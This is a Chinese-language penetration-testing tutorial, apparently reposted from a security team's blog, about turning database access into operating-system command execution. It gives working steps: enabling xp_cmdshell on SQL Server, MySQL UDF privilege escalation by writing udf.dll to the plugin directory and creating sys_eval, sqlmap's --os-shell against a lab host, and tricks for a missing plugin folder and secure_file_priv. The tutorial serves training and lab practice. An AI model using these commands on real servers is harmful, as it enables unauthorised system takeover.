【实战技巧】数据库执行系统命令技巧与总结

admin 2022年4月23日02:37:30评论27 views字数 2308阅读7分41秒阅读模式

山东新潮信息

专业|专注|卓越|安全


【实战技巧】数据库执行系统命令技巧与总结
【实战技巧】数据库执行系统命令技巧与总结
【实战技巧】数据库执行系统命令技巧与总结
【实战技巧】数据库执行系统命令技巧与总结
【实战技巧】数据库执行系统命令技巧与总结
【实战技巧】数据库执行系统命令技巧与总结
【实战技巧】数据库执行系统命令技巧与总结


声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!


前言

在渗透中关于数据库的利用主要分为两种:
第一种是sql注入漏洞,配合网站的绝对路径可以直接getshell。
第二种数据库弱口令,如phpmyadmin弱口令,数据库连接弱口令。
在我最初的时候,对于数据库弱口令和sql注入的利用相同,都是在dba权限下,配合网站绝对路径写shell。因为并不是每次都能找到绝对路径,所以经常出现登录了数据库却拿不到shell的情况。

sql server执行系统命令

sql server执行系统命令比较简单,直接使用xp_cmdshell组件
开启cmdshell组件。

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

执行命令

exec master.dbo.xp_cmdshell 'whoami';

这也就是为什么sql server注入点在使用sqlmap进行os-shell时,直接返回命令行执行。

mysql执行系统命令

mysql执行系统命令适用于直接连接数据库的情况下,理论上讲sqlmap的sql-shell也可行,但是在实际利用中对SQL注入点的类型,执行语句,语句长度都有很大的限制。
本次靶机ip:172.16.86.161 root/root
思路:采用udf提权方式,上传udf.dll文件。
首选需要确定mysql的版本号,以及安装目录。

select @@version;       查看mysql版本select @@basedir;       查看mysql安装路径

【实战技巧】数据库执行系统命令技巧与总结

select @@basedir;       查看mysql安装路径


【实战技巧】数据库执行系统命令技巧与总结

udf.dll存放位置分为2种情况。
1、Mysql版本大于5.1
udf.dll文件必须放在MySQL安装目录的libplugin文件夹下。
2、Mysql版本小于5.1:
win 2000 的服务器,需要将 udf.dll 文件导到 C:Winntudf.dll 下。
win2003 服务器,要将 udf.dll 文件导出在 C:Windowsudf.dll 下。
靶机的mysql版本号为 5.5.62大于5.1因此要把udf.dll文件放在MySQL安装目录的libplugin文件夹下。
sqlmap中自带了udf.dll文件,放在data/udf中,文件经过异或编码无法直接使用,可以使用sqlmap/extra/cloak目录下的cloak.py文件进行解码。

【实战技巧】数据库执行系统命令技巧与总结

在准备好udf.dll文件后,下一步的目标是写入文件到指定的目录下,我实验了3种写入方法。

into outfile直接写入

使用notepad++打开udf文件。

【实战技巧】数据库执行系统命令技巧与总结

复制内容进行16进制编码。

【实战技巧】数据库执行系统命令技巧与总结

在数据库中执行:

select 16进制编码 into outfile 'C:/Program Files/MySQL/MySQL Server 5.5/lib/plugin/udf.dll';

【实战技巧】数据库执行系统命令技巧与总结

创建sys_eval

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

【实战技巧】数据库执行系统命令技巧与总结

成功获取system执行权限。

select sys_eval('');

【实战技巧】数据库执行系统命令技巧与总结

表内容导出写入

建立表保存16进制内容。

set @my_udf=concat('',dll16进制);
create table udf_data(data LONGBLOB);

【实战技巧】数据库执行系统命令技巧与总结

将my_udf的内容插入表udf_data中。

insert into udf_data values("");update udf_data set data = @my_udf;

【实战技巧】数据库执行系统命令技巧与总结

将内容导出到文件。

select data from udf_data into DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.5/lib/plugin/udf.dll';

【实战技巧】数据库执行系统命令技巧与总结

创建sys_eval,成功执行系统命令。

create function sys_eval returns string soname 'udf.dll';
select sys_eval('whoami');

【实战技巧】数据库执行系统命令技巧与总结

用完之后删除

drop function sys_eval;

sqlmap写入

sqlmap自带了udf功能。

sqlmap.py -d "mysql://root:[email protected]:3306/mysql" --os-shell

直接os-shell执行系统命令。

【实战技巧】数据库执行系统命令技巧与总结

坑点

1、mysql lib目录下的plugin文件夹在实战中可能不存在。需要自己手动创建,可以使用NTFS数据流创建,但成功率较低。

select 'test' into dumpfile 'D:\MySQL\lib\plugin::$INDEX_ALLOCATION';

2 、高版本的mysql会有一个secure-file-priv参数限制,需要更改数据库my.ini文件配置,并且重启数据库。

secure_file_priv=""





E




N




D






【实战技巧】数据库执行系统命令技巧与总结


gūan




zhù







men





Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。

想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.net 或长按二维码关注公众号:

【实战技巧】数据库执行系统命令技巧与总结




原文始发于微信公众号(白帽子):【实战技巧】数据库执行系统命令技巧与总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日02:37:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【实战技巧】数据库执行系统命令技巧与总结http://cn-sec.com/archives/917114.html

发表评论

匿名网友 填写信息